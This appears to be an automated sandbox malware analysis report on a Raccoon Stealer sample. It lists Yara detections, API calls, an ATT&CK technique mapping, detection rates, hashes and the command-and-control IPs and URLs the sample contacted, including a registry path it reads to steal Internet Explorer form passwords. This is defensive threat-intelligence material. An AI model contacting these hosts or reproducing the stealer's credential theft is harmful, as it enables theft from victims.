Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_004410F5 cpuid

2_2_004410F5

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_004525EA GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

2_2_004525EA

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_0043771D __EH_prolog,GetTimeZoneInformation,std::ios_base::_Ios_base_dtor,

2_2_0043771D

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_00429260 GetVersionExW,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,StrStrIW,lstrlenW,lstrlenW,FreeLibrary,

2_2_00429260

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: 2_2_00436235 GetUserNameA,

2_2_00436235

Source: Amcache.hve.LOG1.16.dr, Amcache.hve.16.dr	Binary or memory string: c:\users\user\desktop\procexp.exe
Source: Amcache.hve.16.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.LOG1.16.dr, Amcache.hve.16.dr	Binary or memory string: procexp.exe

Stealing of Sensitive Information

Yara detected Raccoon Stealer

Source: Yara match	File source: 2.2.LaunchWinApp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qpwx2wT5ky.exe.468cf00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.LaunchWinApp.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qpwx2wT5ky.exe.468cf00.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.318536230.0000000004271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.308435428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.308711684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.309062654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.308140277.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.320185486.000000000468C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.467738406.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.309415722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.467293779.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: qpwx2wT5ky.exe PID: 6428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LaunchWinApp.exe PID: 5980, type: MEMORYSTR

Contains functionality to steal Internet Explorer form passwords

Source: C:\Windows\SysWOW64\LaunchWinApp.exe

Code function: Software\Microsoft\Internet Explorer\IntelliForms\Storage2

2_2_00435D8C

Remote Access Functionality

Yara detected Raccoon Stealer

Source: Yara match	File source: 2.2.LaunchWinApp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qpwx2wT5ky.exe.468cf00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.LaunchWinApp.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qpwx2wT5ky.exe.468cf00.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.LaunchWinApp.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.318536230.0000000004271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.308435428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.308711684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.309062654.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.308140277.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.320185486.000000000468C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.467738406.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.309415722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.467293779.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: qpwx2wT5ky.exe PID: 6428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LaunchWinApp.exe PID: 5980, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Native API	Path Interception	311 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	1 Credentials In Files	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	Exfiltration Over Bluetooth	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	2 Software Packing	NTDS	35 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	13 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	311 Process Injection	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Hidden Users	Proc Filesystem	1 System Owner/User Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	1 Remote System Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
qpwx2wT5ky.exe	48%	Virustotal		Browse
qpwx2wT5ky.exe	24%	Metadefender		Browse
qpwx2wT5ky.exe	67%	ReversingLabs	ByteCode-MSIL.Infostealer.Racealer

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
2.2.LaunchWinApp.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1143241	Download File
2.0.LaunchWinApp.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1143241	Download File
2.0.LaunchWinApp.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1143241	Download File
2.0.LaunchWinApp.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1143241	Download File
2.0.LaunchWinApp.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1143241	Download File
2.0.LaunchWinApp.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1143241	Download File
2.0.LaunchWinApp.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1143241	Download File
2.0.LaunchWinApp.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1143241	Download File
2.0.LaunchWinApp.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1143241	Download File
2.0.LaunchWinApp.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1143241	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://91.219.236.139/hdm3prapor	2%	Virustotal		Browse
http://91.219.236.139/hdm3prapor	0%	Avira URL Cloud	safe
http://185.163.204.22/hdm3prapor	100%	Avira URL Cloud	malware
http://194.180.174.147/hdm3prapor	1%	Virustotal		Browse
http://194.180.174.147/hdm3prapor	0%	Avira URL Cloud	safe
http://185.3.95.153/hdm3prapor	0%	Avira URL Cloud	safe
http://159.223.25.220/	0%	Avira URL Cloud	safe
http://188.166.1.115/hdm3prapor	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://91.219.236.139/hdm3prapor	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.163.204.22/hdm3prapor	true	Avira URL Cloud: malware	unknown
http://194.180.174.147/hdm3prapor	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.3.95.153/hdm3prapor	true	Avira URL Cloud: safe	unknown
http://159.223.25.220/	false	Avira URL Cloud: safe	unknown
https://t.me/hdm3prapor	false		high
http://188.166.1.115/hdm3prapor	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://upx.sf.net	Amcache.hve.16.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.166.1.115	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
159.223.25.220	unknown	United States	46118	CELANESE-US	false
194.180.174.147	unknown	unknown	39798	MIVOCLOUDMD	true
91.219.236.139	unknown	Hungary	56322	SERVERASTRA-ASHU	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	562520
Start date:	29.01.2022
Start time:	00:10:16
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	qpwx2wT5ky.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@4/7@0/4
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 90% Number of executed functions: 53 Number of non-executed functions: 183
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, fs.microsoft.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, arc.msn.com
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
00:12:47	API Interceptor	5x Sleep call for process: LaunchWinApp.exe modified
00:13:44	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
188.166.1.115	h6u1I93SZ8.exe	Get hash	malicious	Browse	188.166.1.115/jjbadb0y
	NDlaaGP5q0.exe	Get hash	malicious	Browse	188.166.1.115/h_smurf1kman_1
	NDlaaGP5q0.exe	Get hash	malicious	Browse	188.166.1.115/h_smurf1kman_1
	4RUx7FQWiN.exe	Get hash	malicious	Browse	188.166.1.115/nixsmasterbaks2
	4RUx7FQWiN.exe	Get hash	malicious	Browse	188.166.1.115/nixsmasterbaks2
	33c853d0f6d5467701301b6c4dfcf49da0e556b3ac236.exe	Get hash	malicious	Browse	188.166.1.115/capibar
	Wj8JERiagJ.exe	Get hash	malicious	Browse	188.166.1.115/kumchakl1
	nisechfoYz.exe	Get hash	malicious	Browse	188.166.1.115/adu1ps
	0lSq2R2571.exe	Get hash	malicious	Browse	188.166.1.115/nixsmasterbaks2
	0lSq2R2571.exe	Get hash	malicious	Browse	188.166.1.115/nixsmasterbaks2
	A9DpoIeVUj.exe	Get hash	malicious	Browse	188.166.1.115/capibar
	7qUVGFoJMy.exe	Get hash	malicious	Browse	188.166.1.115/capibar
	8WcnybXmhf.exe	Get hash	malicious	Browse	188.166.1.115/capibar
	8WcnybXmhf.exe	Get hash	malicious	Browse	188.166.1.115/capibar
	uxoLfsJ5KF.exe	Get hash	malicious	Browse	188.166.1.115/jdiamond13
	DxcfTywN4C.exe	Get hash	malicious	Browse	188.166.1.115/capibar
	ejTD8TmXnK.exe	Get hash	malicious	Browse	188.166.1.115/capibar
	eSVxs9XGoW.exe	Get hash	malicious	Browse	188.166.1.115/capibar
	PLIWOtd5Xf.exe	Get hash	malicious	Browse	188.166.1.115/capibar

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CELANESE-US	0B668D0AC89D5DA1526BE831F7B8C3F2AF54C5DBC68C0.exe	Get hash	malicious	Browse	159.223.25.220
	Winbox.x86	Get hash	malicious	Browse	159.223.186.3
	Winbox.x86	Get hash	malicious	Browse	159.223.186.3
	30914_Video_Oynat#U0131c#U0131.apk	Get hash	malicious	Browse	159.223.187.91
	8I4YXRv374	Get hash	malicious	Browse	159.223.5.93
	sora.arm7	Get hash	malicious	Browse	159.223.241.43
	oGisnnrCbr	Get hash	malicious	Browse	159.223.216.89
	6zrauELh2g	Get hash	malicious	Browse	159.223.216.30
	J5KV0fYCd7	Get hash	malicious	Browse	159.223.135.220
	j4FxeZhAX6	Get hash	malicious	Browse	159.223.135.220
	vl1NkAIN5c	Get hash	malicious	Browse	159.223.135.220
	7QqeR5Qins	Get hash	malicious	Browse	159.223.135.220
	g04UQ7DlbC	Get hash	malicious	Browse	159.223.135.220
	svJQujYrU3	Get hash	malicious	Browse	159.223.135.220
	Fujhi717sz	Get hash	malicious	Browse	159.223.135.220
	4NjWslvQKM	Get hash	malicious	Browse	159.223.135.220
	2gcQJa0WC7	Get hash	malicious	Browse	159.223.135.220
	sora.arm7-20211215-2050	Get hash	malicious	Browse	159.223.211.118
DIGITALOCEAN-ASNUS	check.xls	Get hash	malicious	Browse	162.243.175.63
	opastonline.com.xls	Get hash	malicious	Browse	162.243.175.63
	Bg6DyC7lDh.dll	Get hash	malicious	Browse	128.199.192.135
	G.dll	Get hash	malicious	Browse	162.243.175.63
	GULPPYUMBy.dll	Get hash	malicious	Browse	128.199.192.135
	1162545482187818.xls	Get hash	malicious	Browse	164.90.147.135
	AcqQhfewOu.dll	Get hash	malicious	Browse	128.199.192.135
	364453688149503140239183.xls	Get hash	malicious	Browse	162.243.175.63
	80_513972285.xls	Get hash	malicious	Browse	128.199.192.135
	Attachment-2801.xls	Get hash	malicious	Browse	128.199.192.135
	CJ68000754184.xls	Get hash	malicious	Browse	164.90.147.135
	DOCUMENT_2801.xls	Get hash	malicious	Browse	128.199.192.135
	DETAILS-145.xls	Get hash	malicious	Browse	128.199.192.135
	imedpub_2.xls	Get hash	malicious	Browse	162.243.175.63
	imedpub_6.xls	Get hash	malicious	Browse	164.90.147.135
	imedpub.com_6.xls	Get hash	malicious	Browse	162.243.175.63
	imedpub_8.xls	Get hash	malicious	Browse	164.90.147.135
	imedpub.com_10.xls	Get hash	malicious	Browse	162.243.175.63
	iMedPub LTD_10.xls	Get hash	malicious	Browse	162.243.175.63
	iMedPub LTD_12.xls	Get hash	malicious	Browse	162.243.175.63

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_LaunchWinApp.exe_774587b722d421177778692fbd3ea27ebb729dee_d75afd38_16ec8da7\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9168915727727842
Encrypted:	false
SSDEEP:	192:29rIDKfGGcHRUEMm2Fj2K/lg/u7seS274Ita:qrIgkRUEMmCjG/u7seX4Ita
MD5:	704712E4245884343C1B53D933E0FF6A
SHA1:	735EC03A19C628348BA75BED82093B1B0CE7A212
SHA-256:	0E75A303D3BCF10BF5A5769CFF6CB03ADF0D7C65B06302790B3033433224CDC5
SHA-512:	995834F87714AC2E91235362A2DA6B33CCEC59871C52771C3F85AC3545FB90CE19C58F4666BB58C476F52541FF5F0E04038E8C5B087271B747C6F342382F1146
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.7.9.1.7.6.1.3.5.6.7.3.8.3.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.7.9.1.7.6.2.2.6.2.9.8.2.1.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.0.9.6.4.0.7.2.-.a.9.2.9.-.4.4.8.c.-.8.a.6.1.-.c.d.b.9.8.a.6.4.8.8.c.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.e.8.5.8.a.7.7.-.e.2.8.c.-.4.0.0.0.-.8.9.6.b.-.9.d.a.4.9.6.7.6.c.4.2.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.L.a.u.n.c.h.W.i.n.A.p.p...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.L.a.u.n.c.h.W.i.n.A.p.p...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.5.c.-.0.0.0.1.-.0.0.1.c.-.5.0.6.c.-.1.4.e.c.e.7.1.4.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.0.b.3.9.e.6.e.0.9.8.0.6.7.f.0.a.f.8.5.d.3.6.1.d.5.1.0.7.a.b.2.2.4.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER118.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8358
Entropy (8bit):	3.6892430773725198
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNip/p6Nm6Yyj61ugmf8EeS/ENrCpD589b7hsfPJm:RrlsNipB6c6YO6sgmf8EeS/EH7afM
MD5:	DB040076D87CFF2B5E68679D4C1ED53F
SHA1:	66CFADBBF5D16B035B0C6215E2CAAF02A43017DD
SHA-256:	833EAB64A8B988574F0F3A7AD22F53D47CBE0EAB44B9A3E962EA9D4280202B8F
SHA-512:	AA989CFA5D089DBE760C91EA5BAEFD952AAFF4CAB1D813C6FB77AE47A7B3F3FBC3F6F94D77FFA7271C3F784F0C17BA4E2D3D33B1ABF0A126966BF8E0A33D3499
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.9.8.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6C6.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4768
Entropy (8bit):	4.461867495702939
Encrypted:	false
SSDEEP:	48:cvIwSD8zshJgtWI9HXWSC8BzM8fm8M4JRpigWcItFvx+q8vWigWcITDXGnMPrIPe:uITfzkmSNXJARKN32orchad
MD5:	D1AF0BA5079F3DE14DD7E8051DFB5C05
SHA1:	97CC0473AD86735F7F628D6888D4D956CE106184
SHA-256:	D0C5DD19873B1D9B87B8571680CD3F82DA7FCF7B31DBCC54CB35C764ECAD1B9A
SHA-512:	DBF3ABFC6C8DDE6CBCC5EABDBA57C426C30D611DD5E209E15CA83C724501248E2E5E7466E2F5295B1FEA7B0F50F7AA8868C6BEA634469CD740AEF8C1ED5ADC32
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1363284" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREDED.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sat Jan 29 08:13:37 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	61158
Entropy (8bit):	2.4767519839533017
Encrypted:	false
SSDEEP:	192:3KmU3CNYulpOCzAoVE/tsu25X0mAJZ8QXqk7xtebbqn10RWWeOAuZ+5ZHTUnDaBC:fSisC8r0+mAJZ8axt2vABsG4FmA
MD5:	416A11DCE14D66C77506CE1A74542009
SHA1:	DEA54DFEEF7500324613857BE92392FA40A61202
SHA-256:	69AF6348A49402738E7EE52678C15E76C67FA123319B11CF32DED5509A324434
SHA-512:	E541F05F091B39FBA805B22ED62E172988575D02F4225BB8D86A1A0DD15C344D2454AF4D57A905C85F6A54657C2555EA9545AD6396A4C763BC01257D31971277
Malicious:	false
Reputation:	low
